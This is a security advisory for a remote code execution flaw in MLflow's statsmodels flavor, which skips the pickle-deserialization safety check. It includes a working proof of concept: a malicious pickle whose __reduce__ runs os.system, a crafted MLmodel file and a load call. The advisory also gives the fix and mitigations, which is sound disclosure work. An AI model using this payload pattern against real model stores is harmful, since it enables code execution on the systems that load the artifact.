high · 8.8Sep 1, 2026

mlflow statsmodels flavor MLFLOW_ALLOW_PICKLE_DESERIALIZATION bypass RCE

Rohit Hatagale
AI Security Researcher, SecureLayer7

A crafted MLflow model artifact using the statsmodels flavor can trigger arbitrary code execution on load, even when the MLFLOW_ALLOW_PICKLE_DESERIALIZATION=False safety control is enabled, because…

Packagemlflow
Ecosystempip
Affected>= 2.1.0, < 3.15.0
Fixed in3.15.0
mlflow statsmodels flavor MLFLOW_ALLOW_PICKLE_DESERIALIZATION bypass RCE

The problem

MLflow introduced MLFLOW_ALLOW_PICKLE_DESERIALIZATION as a safety switch to block pickle.load() during model loading, in response to a family of earlier RCE advisories. When set to False, operators expect all pickle paths to be blocked.

The mlflow.statsmodels flavor omits this check entirely. Its _load_model() calls statsmodels.iolib.api.load_pickle(), which is a direct wrapper around pickle.load(), with no guard in place. Any process that calls mlflow.pyfunc.load_model() against a malicious model artifact is therefore vulnerable even when the operator believes the control is active.

Affected versions: >= 2.1.0, < 3.15.0.

Proof of concept

A working proof-of-concept for this issue in mlflow, with the exact payload below.

python
# 1. Generate the malicious pickle
import pickle, os

class RCE:
    def __reduce__(self):
        return (os.system, ("id > /tmp/pwned",))

with open("model.pkl", "wb") as f:
    pickle.dump(RCE(), f)

# 2. Place alongside a crafted MLmodel file:
# ---
# flavors:
#   python_function:
#     loader_module: mlflow.statsmodels
#     data: model.pkl
#   statsmodels:
#     data: model.pkl
#     statsmodels_version: 0.14.0
# ---

# 3. Upload both files to any artifact store path and load:
import os, mlflow
os.environ["MLFLOW_ALLOW_PICKLE_DESERIALIZATION"] = "False"
mlflow.pyfunc.load_model("models:/MaliciousModel/1")  # executes RCE.__reduce__

mlflow.pyfunc.load_model() dispatches to each flavor's _load_pyfunc() via importlib. The sklearn flavor (the reference implementation) gates pickle.load() behind an MLFLOW_ALLOW_PICKLE_DESERIALIZATION check and raises MlflowException when it is False. The statsmodels _load_model() has no such gate: it calls smio.load_pickle(path) unconditionally, and _load_pyfunc() calls _load_model() unconditionally.

The patch (PR #24686, commit 38615289) adds the identical guard block to mlflow/statsmodels/__init__.py _load_model() before the smio.load_pickle() call, matching the pattern already used in the sklearn, pyfunc, and PickleEvaluationArtifact paths. Root cause is CWE-502: incomplete propagation of a security control across flavor implementations.

The fix

Upgrade mlflow to 3.15.0 or later. The fix adds the missing MLFLOW_ALLOW_PICKLE_DESERIALIZATION guard to mlflow/statsmodels/__init__.py _load_model(), raising MlflowException before any pickle.load() call when the env var is False and the runtime is not a trusted Databricks environment.

If you cannot upgrade immediately, set MLFLOW_ALLOW_PICKLE_DESERIALIZATION=False AND restrict artifact store write access so untrusted parties cannot upload model files.

Reported by B-Step62.

References: [1][2][3][4][5]

Related research